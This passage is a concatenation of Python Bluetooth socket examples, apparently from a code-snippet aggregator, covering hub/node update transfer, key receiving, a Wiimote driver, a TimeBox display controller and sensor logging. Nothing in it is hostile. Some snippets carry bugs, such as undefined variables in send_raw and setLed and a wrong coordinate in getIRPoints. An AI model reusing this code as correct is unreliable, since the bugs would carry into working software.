                "{0} - NodeBluetoothClient failed to connect to server : {1}".
                format(time_str, e))
            raise

    def _check_available_updates(self, node_id=None):
        ''' 
        Returns list of available update images from the Hub
        
        Parameters
        ----------
        node_id (str) : node id to give hub for update checking 
        '''

        update_image_names = []

        if node_id is None:
            node_id = self.config_manager.config_data["node-id"]

        try:

            # pulling list of update image names
            self._connect_to_server()
            self.server_s.send(
                bytes("CHECK_AVAILABLE_UPDATES {}".format(node_id), 'UTF-8'))
            response_str = self.server_s.recv(
                self.config_manager.config_data["bluetooth-message-max-size"]
            ).decode("utf-8")
            update_image_names = response_str.split(",")

            # if there are no updates
            if update_image_names == [' ']: update_image_names = []

            # logging completion
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.info("{0} - NodeBluetoothClient successfully checked available updates : {1}".\
                         format(time_str, str(update_image_names)))

        except Exception as e:
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error(
                "{0} - NodeBluetoothClient failed to check Hub for updates : {1}"
                .format(time_str, e))

        self.server_s.close()
        return update_image_names

    def _get_update_file(self, update_file):
        '''
        Pulls the specified udate file from the Hub
        
        Parameters
        ----------
        update_file (str) : name of update file to fetch
        '''

        try:

            # downloading file from hub
            self._connect_to_server()
            self.server_s.send(
                bytes("GET_UPDATE {}".format(update_file), 'UTF-8'))
            self._download_file(update_file)

            # logging completion
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.info(
                "{0} - NodeBluetoothClient successfully pulled update file ({1}) from Hub\
                         ".format(time_str, update_file))

        except Exception as e:
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error(
                "{0} - NodeBluetoothClient failed to pull update from Hub : {1}"
                .format(time_str, e))

        self.server_s.close()

    def _download_file(self, file_name):
        ''' 
        Creates the specified file and writes the incoming Hub server data in it.
            ** assumes that the connection with the hub is already established
            ** no error handling
            ** does not close the existing connection (even if exception is thrown)
        
        Parameters
        ----------
        file_name (str) : name of the output file
        '''

        update_file_path = os.path.join(
            self.config_manager.config_data["node-image-archive-dir"],
            file_name)

        try:

            # writing incoming data to file
            with open(update_file_path, "wb") as archive_file_h:

                file_data = self.server_s.recv(
                    self.config_manager.
                    config_data["bluetooth-message-max-size"])
                while file_data:
                    archive_file_h.write(file_data)
                    file_data = self.server_s.recv(
                        self.config_manager.
                        config_data["bluetooth-message-max-size"])

            # logging completion
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.info(
                "{0} - NodeBluetoothClient successfully downloaded file ({1}) (socket timeout) from Hub\
                         ".format(time_str, file_name))

        # consider time out as : (no more available data)
        # this is the worst way of checking download is complete
        except BluetoothError:
            pass

    def _upload_file(self, file_name):
        ''' 
        Sends the specified file (from the node transfer folder) to the Hub
            ** lets exceptions bubble up 

        Parameters
        ----------
        file_name (str) : name of upload file (must be in transfer folder)
        '''

        upload_file_path = os.path.join(
            self.config_manager.config_data["node-file-transfer-dir"],
            file_name)

        try:

            self._connect_to_server()
            self.server_s.send(
                bytes("STORE_FILE {}".format(file_name), 'UTF-8'))

            # uploading specified file to the hub
            with open(upload_file_path, "rb") as image_file_h:
                data = image_file_h.read(
                    self.config_manager.
                    config_data["bluetooth-message-max-size"])
                while data:
                    self.server_s.send(data)
                    data = image_file_h.read(
                        self.config_manager.
                        config_data["bluetooth-message-max-size"])
            self.server_s.close()

            # logging completion
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.info(
                "{0} - NodeBluetoothClient successfully uploaded file ({1}) to Hub\
                         ".format(time_str, file_name))

        except:
            self.server_s.close()
            raise

    def _transfer_data_files(self):
        ''' 
        Transfers the contents of the data-transfer folder to the hub
            1) copy the contents of the extracted data file (sensor data) to a temp file
            2) create a new extracted data file (blank) for new data extraction (sensor data)
            3) transfer/delete all data/log files to the Tremium Hub
        '''

        transfer_files = []
        transfer_dir = self.config_manager.config_data[
            "node-file-transfer-dir"]
        transfer_file_name = self.config_manager.config_data[
            "node-extracted-data-file"]
        data_file_max_size = self.config_manager.config_data[
            "node-data-file-max-size"]

        archived_data_pattern_segs = self.config_manager.config_data[
            "node-archived-data-file"].split(".")

        # when the main data file is big enough transfer the contents to an other file
        data_file_path = os.path.join(transfer_dir, transfer_file_name)
        if os.path.isfile(data_file_path):
            if os.stat(data_file_path).st_size > data_file_max_size:

                # waiting for data file availability and locking it
                while not self.cache.data_file_available():
                    time.sleep(0.1)
                self.cache.lock_data_file()

                # renaming the filled / main data file
                time_str = datetime.datetime.fromtimestamp(
                    time.time()).strftime('%Y-%m-%d_%H-%M-%S')
                archive_file_name = archived_data_pattern_segs[
                    0] + "-{}".format(
                        time_str) + "." + archived_data_pattern_segs[1]
                archive_file_path = os.path.join(transfer_dir,
                                                 archive_file_name)
                os.rename(data_file_path, archive_file_path)

                # creating new main data file
                open(data_file_path, "w").close()

                # unlocking the data file
                self.cache.unlock_data_file()

        # collecting all (archived / ready for transfer) data files + log files
        for element in os.listdir(transfer_dir):
            element_path = os.path.join(transfer_dir, element)
            if os.path.isfile(element_path):

                is_log_file = element.endswith(".log")
                is_archived_data = re.search(archived_data_pattern_segs[0],
                                             element) is not None
                is_full = os.stat(element_path).st_size > data_file_max_size
                if (is_log_file or is_archived_data) and is_full:
                    transfer_files.append((element, element_path))

        try:
            # uploading transfer files to the Hub and deleting them from local storage
            for file_info in transfer_files:
                self._upload_file(file_info[0])
                os.remove(file_info[1])

        except Exception as e:
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error(
                "{0} - NodeBluetoothClient failed while transfering data files : {1}"
                .format(time_str, e))
            raise

        # return the names of files that were sent
        return [file_info[0] for file_info in transfer_files]

    def launch_maintenance(self):
        ''' 
        Launches the hub - node maintenance sequence
            - transfers/purges data files (acquisition and logs)
            - fetches available updates
            - adds necessary entries in the image update file
        '''

        update_entries = []
        archive_dir = self.config_manager.config_data["node-image-archive-dir"]
        time_stp_pattern = self.config_manager.config_data[
            "image-archive-pattern"]
        docker_registry_prefix = self.config_manager.config_data[
            "docker_registry_prefix"]

        try:

            # transfering data/log files to the hub
            self._transfer_data_files()

            # pulling available updates from the hub
            update_files = self._check_available_updates()
            for update_file in update_files:

                # getting old image to be updated, if any
                old_image_file = get_matching_image(update_file,
                                                    self.config_manager)
                if old_image_file is not None:

                    # downloading update image from the Hub
                    self._get_update_file(update_file)

                    # deleting old image archive files (.tar and .tar.gz)
                    old_image_path = os.path.join(archive_dir, old_image_file)
                    try:
                        os.remove(old_image_path)
                    except:
                        pass

                    # adding update file entry
                    old_image_time_stp = re.search(time_stp_pattern,
                                                   old_image_file).group(3)
                    old_image_reg_path = docker_registry_prefix + old_image_file.split(
                        old_image_time_stp)[0][:-1]
                    update_image_time_stp = re.search(time_stp_pattern,
                                                      update_file).group(3)
                    update_image_reg_path = docker_registry_prefix + update_file.split(
                        update_image_time_stp)[0][:-1]
                    update_entries.append(old_image_reg_path + " " +
                                          update_file + " " +
                                          update_image_reg_path + "\n")

            # if updates were pulled from the hub
            if len(update_entries) > 0:

                # halting the data collection
                self.cache.stop_data_collection()

                # logging the update entries
                time_str = datetime.datetime.fromtimestamp(
                    time.time()).strftime('%Y-%m-%d_%H-%M-%S')
                logging.info("{0} - NodeBluetoothClient writting out update entries : {1}".\
                             format(time_str, str(update_entries)))

                # writing out the update entries
                with open(
                        self.config_manager.
                        config_data["node-image-update-file"],
                        "w") as update_file_h:
                    for entry in update_entries:
                        update_file_h.write(entry)
                    update_file_h.write("End")

            # logging maintenance success
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.info(
                "{0} - Node Bluetooth client successfully performed maintenance"
                .format(time_str))

        except Exception as e:
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error("{0} - Node Bluetooth client failed : {1}".format(
                time_str, e))
Exemple #13
0
def _recv_client_endpoint(client_socket: bluetooth.BluetoothSocket):
    end_point_raw_length = client_socket.recv(4)
    end_point_length = struct.unpack('I', end_point_raw_length)[0]
    end_point = client_socket.recv(end_point_length)
    return end_point.decode()
class BluetoothReceive:
    def __init__(self, port=3, size=1024):
        self.port = port
        self.size = size
        self.client_socket = None
        self.stopped = False

    @inlineCallbacks
    def find_key(self, bt_mac, mac):
        self.client_socket = BluetoothSocket(RFCOMM)
        message = b""
        try:
            self.client_socket.setblocking(False)
            try:
                self.client_socket.connect((bt_mac, self.port))
            except BluetoothError as be:
                if be.args[0] == "(115, 'Operation now in progress')":
                    pass
                else:
                    raise be
            success = False
            while not self.stopped and not success:
                r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
                if r:
                    log.info("Connection established")
                    self.client_socket.setblocking(True)
                    success = True
                    # try to receive until the sender closes the connection
                    try:
                        while True:
                            part_message = self.client_socket.recv(self.size)
                            message += part_message
                    except BluetoothError as be:
                        if be.args[0] == "(104, 'Connection reset by peer')":
                            log.info("Bluetooth connection closed, let's check if we downloaded the key")
                        else:
                            raise be
            mac_key = fingerprint_from_keydata(message)
            verified = None
            if mac:
                verified = mac_verify(mac_key.encode('ascii'), message, mac)
            if verified:
                success = True
            else:
                log.info("MAC validation failed: %r", verified)
                success = False
                message = b""
        except BluetoothError as be:
            if be.args[0] == "(16, 'Device or resource busy')":
                log.info("Probably has been provided a partial bt mac")
            elif be.args[0] == "(111, 'Connection refused')":
                log.info("The sender refused our connection attempt")
            elif be.args[0] == "(112, 'Host is down')":
                log.info("The sender's Bluetooth is not available")
            elif be.args[0] == "(113, 'No route to host')":
                log.info("An error occurred with Bluetooth, if present probably the device is not powered")
            else:
                log.info("An unknown bt error occurred: %s" % be.args[0])
            key_data = None
            success = False
            returnValue((key_data, success, be))
        except Exception as e:
            log.error("An error occurred connecting or receiving: %s" % e)
            key_data = None
            success = False
            returnValue((key_data, success, e))

        if self.client_socket:
            self.client_socket.close()
        returnValue((message.decode("utf-8"), success, None))

    def stop(self):
        self.stopped = True
        if self.client_socket:
            try:
                self.client_socket.shutdown(socket.SHUT_RDWR)
                self.client_socket.close()
            except BluetoothError as be:
                if be.args[0] == "(9, 'Bad file descriptor')":
                    log.info("The old Bluetooth connection was already closed")
                else:
                    log.warning("An unknown bt error occurred: %s" % be.args[0])
try:
    hc05 = nearby_devices.get("\r\n")
    print(" Try connect to MAC ",hc05)
    btsocket.connect((hc05, 1))
except bt.btcommon.BluetoothError as error:
    print(" BluetoothError:", error)
    btsocket.close()

print(" connected!");

while(1):

    now = datetime.datetime.now()

    filename = now.strftime("%d-%m-%y")+"_log.txt"

    file = open(filename, 'a')

    msg = btsocket.recv(1024)
    print(msg)
    
    try:
       decoded = msg.decode('utf-8')
       writer = file.write(decoded)
    except OSError as oerr:
       print("OS error: {0}".format(oerr))
       continue
    except ValueError as verr:
       print("Value Error: {0}".format(verr))
       continue
Exemple #16
0
class Wiimote:
    def __init__(self, addr):
        self._addr = addr
        self._inSocket = BluetoothSocket(L2CAP)
        self._outSocket = BluetoothSocket(L2CAP)
        self._connected = False

    def __del__(self):
        self.disconnect()

    def _send(self, *data, **kwargs):
        check_connection = True
        if 'check_connection' in kwargs:
            check_connection = kwargs['check_connection']
        if check_connection and not self._connected:
            raise IOError('No wiimote is connected')
        self._inSocket.send(''.join(map(chr, data)))

    def disconnect(self):
        if self._connected:
            self._inSocket.close()
            self._outSocket.close()
            self._connected = False

    def connect(self, timeout=0):
        if self._connected:
            return None

        self._inSocket.connect((self._addr, 0x13))
        self._outSocket.connect((self._addr, 0x11))

        self._inSocket.settimeout(timeout)
        self._outSocket.settimeout(timeout)

        # TODO give the choice of the mode to the user
        # Set the mode of the data reporting of the Wiimote with the last byte of this sending
        # 0x30 : Only buttons (2 bytes)
        # 0x31 : Buttons and Accelerometer (3 bytes)
        # 0x32 : Buttons + Extension (8 bytes)
        # 0x33 : Buttons + Accel + InfraRed sensor (12 bytes)
        # 0x34 : Buttons + Extension (19 bytes)
        # 0x35 : Buttons + Accel + Extension (16 bytes)
        # 0x36 : Buttons + IR sensor (10 bytes) + Extension (9 bytes)
        # 0x37 : Buttons + Accel + IR sensor (10 bytes) + Extension (6 bytes)
        # 0x3d : Extension (21 bytes)
        # 0x3e / 0x3f : Buttons + Accel + IR sensor (36 bytes). Need two reports for a sigle data unit.
        self._send(0x52, 0x12, 0x00, 0x33, check_connection=False)

        # Enable the IR camera
        # Enable IR Camera (Send 0x04 to Output Report 0x13)
        # Enable IR Camera 2 (Send 0x04 to Output Report 0x1a)
        # Write 0x08 to register 0xb00030
        # Write Sensitivity Block 1 to registers at 0xb00000
        # Write Sensitivity Block 2 to registers at 0xb0001a
        # Write Mode Number to register 0xb00033
        # Write 0x08 to register 0xb00030 (again)
        # Put a sleep of 50ms to avoid a bad configuration of the IR sensor
        # Sensitivity Block 1 is : 00 00 00 00 00 00 90 00 41
        # Sensitivity Block 2 is : 40 00
        # The mode number is 1 if there is 10 bytes for the IR.
        # The mode number is 3 if there is 12 bytes for the IR.
        # The mode number is 5 if there is 36 bytes for the IR.
        time.sleep(0.050)
        self._send(0x52, 0x13, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52, 0x1a, 0x04, check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x30,
                   1,
                   0x08,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x06,
                   1,
                   0x90,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x08,
                   1,
                   0x41,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x1a,
                   1,
                   0x40,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x33,
                   1,
                   0x03,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)
        time.sleep(0.050)
        self._send(0x52,
                   0x16,
                   0x04,
                   0xb0,
                   0x00,
                   0x30,
                   1,
                   0x08,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   0,
                   check_connection=False)

        self._connected = True

    def vibrate(self, duration=1):
        self._send(0x52, 0x15, 0x01)
        time.sleep(duration)
        self._send(0x52, 0x15, 0x00)

    def setLed(self, binary):
        self._send(0x52, 0x11, int(n << 4))

    def _getData(self, check_connection=True):
        if check_connection and not self._connected:
            raise IOError('No wiimote is connected')
        data = self._inSocket.recv(19)
        if len(data) != 19:
            raise IOError('Impossible to receive all data')
        return list(map(ord, data))

    def _checkButton(self, bit, mask):
        return self._getData()[bit] & mask != 0

    def buttonAPressed(self):
        return self._checkButton(3, 0x08)

    def buttonBPressed(self):
        return self._checkButton(3, 0x04)

    def buttonUpPressed(self):
        return self._checkButton(2, 0x08)

    def buttonDownPressed(self):
        return self._checkButton(2, 0x04)

    def buttonLeftPressed(self):
        return self._checkButton(2, 0x01)

    def buttonRightPressed(self):
        return self._checkButton(2, 0x02)

    def buttonPlusPressed(self):
        return self._checkButton(2, 0x10)

    def buttonMinusPressed(self):
        return self._checkButton(3, 0x10)

    def buttonHomePressed(self):
        return self._checkButton(3, 0x80)

    def buttonOnePressed(self):
        return self._checkButton(3, 0x02)

    def buttonTwoPressed(self):
        return self._checkButton(3, 0x01)

    # 0x80 means no movement
    def getAcceleration(self):
        d = self._getData()

        ax = d[4] << 2 | d[2] & (0x20 | 0x40)
        ay = d[5] << 1 | d[3] & 0x20
        az = d[6] << 1 | d[3] & 0x40
        return (ax, ay, az)

    def getIRPoints(self):
        d = self._getData()

        x1 = d[7] | ((d[9] & (0b00110000)) << 4)
        y1 = d[8] | ((d[9] & (0b11000000)) << 2)
        i1 = d[9] & 0b00001111

        x2 = d[10] | ((d[12] & (0b00110000)) << 4)
        y2 = d[11] | ((d[12] & (0b11000000)) << 2)
        i2 = d[12] & 0b00001111

        x3 = d[13] | ((d[15] & (0b00110000)) << 4)
        y3 = d[14] | ((d[15] & (0b11000000)) << 2)
        i3 = d[15] & 0b00001111

        x4 = d[16] | ((d[18] & (0b00110000)) << 4)
        y4 = d[17] | ((d[18] & (0b11000000)) << 2)
        i4 = d[18] & 0b00001111

        return [(x1, y2, i1), (x2, y2, i2), (x3, y3, i3), (x4, y4, i4)]
class BluetoothReceive:
    def __init__(self, port=3, size=1024):
        self.port = port
        self.size = size
        self.client_socket = None
        self.stopped = False

    @inlineCallbacks
    def find_key(self, bt_mac, mac):
        self.client_socket = BluetoothSocket(RFCOMM)
        message = b""
        try:
            self.client_socket.setblocking(False)
            try:
                self.client_socket.connect((bt_mac, self.port))
            except BluetoothError as be:
                if be.args[0] == "(115, 'Operation now in progress')":
                    pass
                else:
                    raise be
            success = False
            while not self.stopped and not success:
                r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
                if r:
                    log.info("Connection established")
                    self.client_socket.setblocking(True)
                    success = True
                    # try to receive until the sender closes the connection
                    try:
                        while True:
                            part_message = self.client_socket.recv(self.size)
                            log.debug("Read %d bytes: %r", len(part_message), part_message)
                            message += part_message
                    except BluetoothError as be:
                        if be.args[0] == "(104, 'Connection reset by peer')":
                            log.info("Bluetooth connection closed, let's check if we downloaded the key")
                        else:
                            raise be
            mac_key = fingerprint_from_keydata(message)
            verified = None
            if mac:
                verified = mac_verify(mac_key.encode('ascii'), message, mac)
            if verified:
                success = True
            else:
                log.info("MAC validation failed: %r", verified)
                success = False
                message = b""
        except BluetoothError as be:
            if be.args[0] == "(16, 'Device or resource busy')":
                log.info("Probably has been provided a partial bt mac")
            elif be.args[0] == "(111, 'Connection refused')":
                log.info("The sender refused our connection attempt")
            elif be.args[0] == "(112, 'Host is down')":
                log.info("The sender's Bluetooth is not available")
            elif be.args[0] == "(113, 'No route to host')":
                log.info("An error occurred with Bluetooth, if present probably the device is not powered")
            else:
                log.info("An unknown bt error occurred: %s" % be.args[0])
            key_data = None
            success = False
            returnValue((key_data, success, be))
        except Exception as e:
            log.error("An error occurred connecting or receiving: %s" % e)
            key_data = None
            success = False
            returnValue((key_data, success, e))

        if self.client_socket:
            self.client_socket.close()
        returnValue((message.decode("utf-8"), success, None))

    def stop(self):
        self.stopped = True
        if self.client_socket:
            try:
                self.client_socket.shutdown(socket.SHUT_RDWR)
                self.client_socket.close()
            except BluetoothError as be:
                if be.args[0] == "(9, 'Bad file descriptor')":
                    log.info("The old Bluetooth connection was already closed")
                else:
                    log.exception("An unknown bt error occurred")
Exemple #18
0
class TimeBox:
    """Class TimeBox encapsulates the TimeBox communication."""

    DEFAULTHOST = "11:75:58:48:2F:DA"

    COMMANDS = {
        "switch radio": 0x05,
        "set volume": 0x08,
        "get volume": 0x09,
        "set mute": 0x0a,
        "get mute": 0x0b,
        "set date time": 0x18,
        "set image": 0x44,
        "set view": 0x45,
        "set animation frame": 0x49,
        "get temperature": 0x59,
        "get radio frequency": 0x60,
        "set radio frequency": 0x61
    }

    socket = None
    messages = None
    message_buf = []
    currentHost = None

    def __init__(self, logger, host):
        self.messages = TimeBoxMessages()
        self.divoomImage = DivoomImage()
        self.logger = logger
        self.host = host

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        #try:
        # Create the client socket
        # if host is None:
        #     self.logger.info('Host is none, so using default..')
        #     host = self.DEFAULTHOST
        self.currentHost = self.host
        self.logger.info('Connecting to {0}'.format(self.currentHost))
        #print("connecting to %s at %s" % (self.host, self.port))
        self.socket = BluetoothSocket(RFCOMM)
        self.socket.connect((self.currentHost, port))
        self.socket.setblocking(0)
        #except Exception as error:
        #    self.logger.exception('Error while connecting to timebox')

    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()

    def receive(self, num_bytes=1024):
        """Receive n bytes of data from the TimeBox and put it in the input buffer.
        Returns the number of bytes received."""
        ready = select.select([self.socket], [], [], 0.1)
        if ready[0]:
            data = self.socket.recv(num_bytes)
            self.message_buf += data
            return len(data)
        else:
            return 0

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        while (1):
            msg = self.messages.make_message(payload)
            try:
                return self.socket.send(data)
            except Exception as error:
                print(error)
                self.logger.exception(
                    'Error while sending paylod, reconnecting...')
                time.sleep(5)
                self.connect(self.currentHost)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        while (1):
            self.logger.info('Sending paylod')
            msg = self.messages.make_message(payload)
            try:
                return self.socket.send(bytes(msg))
            except Exception as error:
                print(error)
                self.logger.exception(
                    'Error while sending paylod, reconnecting...')
                time.sleep(5)
                self.connect(self.currentHost)

    def set_time(self, time=None):
        if not time:
            time = datetime.datetime.now()
        args = []
        args.append(int(str(time.year)[2:]))
        args.append(int(str(time.year)[0:2]))
        args.append(int(time.month))
        args.append(int(time.day))
        args.append(int(time.hour))
        args.append(int(time.minute))
        args.append(int(time.second))
        args.append(0)
        self.send_command("set date time", args)

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args) + 3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def decode(self, msg):
        """remove leading 1, trailing 2 and checksum and un-escape"""
        return self.messages.decode(msg)

    def has_message(self):
        """Check if there is a complete message *or leading garbage data* in the input buffer."""
        if len(self.message_buf) == 0:
            return False
        if self.message_buf[0] != 0x01:
            return True
        #endmarks = [x for x in self.message_buf if x == 0x02]
        #return  len(endmarks) > 0
        return 0x02 in self.message_buf

    def buffer_starts_with_garbage(self):
        """Check if the input buffer starts with data other than a message."""
        if len(self.message_buf) == 0:
            return False
        return self.message_buf[0] != 0x01

    def remove_garbage(self):
        """Remove data from the input buffer that is not the start of a message."""
        pos = self.message_buf.index(
            0x01) if 0x01 in self.message_buf else len(self.message_buf)
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def remove_message(self):
        """Remove a message from the input buffer and return it. Assumes it has been checked that
        there is a complete message without leading garbage data"""
        if not 0x02 in self.message_buf:
            raise Exception('There is no message')
        pos = self.message_buf.index(0x02) + 1
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def drop_message_buffer(self):
        """Drop all dat currently in the message buffer,"""
        self.message_buf = []

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(bytes(msg))

    def set_dynamic_images(self, images, frame_delay=1):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(bytes(msg))

    def show_temperature(self, color=None):
        """Show temperature on the TimeBox in Celsius"""
        args = [0x01, 0x00]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def show_clock(self, color=None):
        """Show clock on the TimeBox in the color"""
        args = [0x00, 0x01]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def disable_display(self):
        """Disable Display on the TimeBox"""
        args = [0x02, 0x01]
        self.send_command("set view", args)

    def show_string(self, texts, font=None):
        """
          Display text, call is blocking
        """
        if (type(texts) is not list) or (len(texts) == 0) or (type(texts[0])
                                                              is not tuple):
            raise Exception("a list of tuple is expected")
        img_result = self.divoomImage.create_default_image((0, 0))
        for txt, color in texts:
            img_result = self.divoomImage.draw_text_to_image(txt,
                                                             color,
                                                             empty_start=False,
                                                             empty_end=False,
                                                             font=font)
        self.set_static_image(self.divoomImage.build_img(img_result))

    def show_text(self, txt, speed=20, font=None):
        """
          Display text & scroll, call is blocking
        """
        if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0])
                                                          is not tuple):
            raise Exception("a list of tuple is expected")
        im = self.divoomImage.draw_multiple_to_image(txt, font)
        slices = self.divoomImage.horizontal_slices(im)
        for i, s in enumerate(slices):
            #s.save("./debug/%s.bmp"%i)
            self.set_static_image(self.divoomImage.build_img(s))
            time.sleep(1.0 / speed)

    def show_text2(self, txt, font=None):
        """
        Use dynamic_image_message to display scolling text
        Cannot go faster than 1fps
        """
        if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0])
                                                          is not tuple):
            raise Exception("a list of tuple is expected")
        imgs = []
        im = self.divoomImage.draw_multiple_to_image(txt, font)
        slices = self.divoomImage.horizontal_slices(im)
        for i, s in enumerate(slices):
            # s.save("./debug/%s.bmp"%i)
            imgs.append(self.divoomImage.build_img(s))
        print(len(imgs))
        self.set_dynamic_images(imgs)

    def show_static_image(self, path):
        self.set_static_image(self.divoomImage.load_image(path))

    def show_animated_image(self, path, frame_delay=1):
        self.set_dynamic_images(self.divoomImage.load_gif_frames(path),
                                frame_delay)

    def clear_input_buffer(self):
        """Read all input from TimeBox and remove from buffer. """
        while self.receive() > 0:
            self.drop_message_buffer()

    def clear_input_buffer_quick(self):
        """Quickly read most input from TimeBox and remove from buffer. """
        while self.receive(512) == 512:
            self.drop_message_buffer()
Exemple #19
0
class DataReceiver(QtCore.QThread):
    receivedData = pyqtSignal(SendingData)
    consoleOutText = pyqtSignal(str)

    def __init__(self, mac):
        super(DataReceiver, self).__init__()
        self.MAC = mac
        self.message = ""
        self.data = ""
        self.socket = BluetoothSocket(RFCOMM)
        self.dallas_temp_data = []
        self.dht_temp_data = []
        self.dht_humid_data = []
        self.sound_data = []
        self.time_list = []
        self.startTime = 0
        self.data_to_send = SendingData(self.MAC)

    def run(self):
        self.startTime = int(time.time())
        try:
            print("Connecting to {}".format(self.MAC))
            self.consoleOutText.emit("[ {} ]: Connecting to {}\n".format(
                datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
            self.socket.connect((self.MAC, PORT))
            print("Connected!")
            self.consoleOutText.emit("[ {} ]: Connected!\n".format(
                datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
        except BluetoothError:
            self.consoleOutText.emit(
                "[ {} ]: An error occured while connecting to {} because of bt.btcommon.BluetoothError\n"
                .format(datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                        self.MAC))
        except OSError:
            self.consoleOutText.emit(
                "[ {} ]: An error occured while connecting to {} because of OSError. Check Bluetooth setting.\n"
                .format(datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                        self.MAC))

        try:
            while True:
                self.data = self.socket.recv(1024).decode().split("\n")[0]
                if "7P5uk6fbZWTkXxr67P5uk6fbZWTkXxr6;" in self.data:
                    self.data = self.data.split(";")[1:]
                    self.data_to_send.updateSendingData(
                        self.data[0], self.data[2], self.data[4],
                        int(time.time()) - self.startTime)
                    print("[{}]: {} : {}".format(
                        datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC,
                        self.data))
                    self.consoleOutText.emit("[{}]: {} : {}\n".format(
                        datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC,
                        self.data))
                    self.receivedData.emit(self.data_to_send)
                    sleep(0.85)
        except KeyboardInterrupt:
            self.consoleOutText.emit(
                "[ {} ]: Closing connection to {}\n".format(
                    datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
            self.socket.close()
            self.consoleOutText.emit("[ {} ]: Connection closed!\n".format(
                datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
        except SystemExit:
            self.consoleOutText.emit(
                "[ {} ]: Closing connection to {}\n".format(
                    datetime.now().strftime("%Y-%m-%d %H:%M:%S"), self.MAC))
            self.socket.close()
            self.consoleOutText.emit("[ {} ]: Connection closed!\n".format(
                datetime.now().strftime("%Y-%m-%d %H:%M:%S")))
class rfcomm_client:
    def __init__(self):
        self.server_dbaddr = "BC:83:85:F0:56:F4"
        self.server_uuid = "4E989E9F-F81A-4EE8-B9A7-BB74D5CD3C96"  # service uuid generated by some web service.
        self.sleep_time = 3.0
        self.service_matches = None
        self.socket = None

    def close_socket(self):
        try:
            if None != self.socket:
                print("close socket.")
                self.socket.close()
                self.socket = None
        except:
            print("Exception occured : close_socket")

    def find_server(self):
        print("search bluetooth devices for the rfcomm Server service")
        try:
            self.service_matches = find_service(uuid=self.server_uuid,
                                                address=self.server_dbaddr)
            if 0 < len(self.service_matches):
                print("server service found.")
                return True
            else:
                print("couldn\'t find the server service.")
        except:
            print("Exception occured : find_server")

        return False

    def connect_to_server(self):
        if 0 == len(self.service_matches):
            return

        self.close_socket()

        try:
            first_match = self.service_matches[0]
            port = first_match["port"]
            name = first_match["name"]
            host = first_match["host"]
            print("connecting... name:%s host:%s port:%s" % (name, host, port))

            self.socket = BluetoothSocket(RFCOMM)
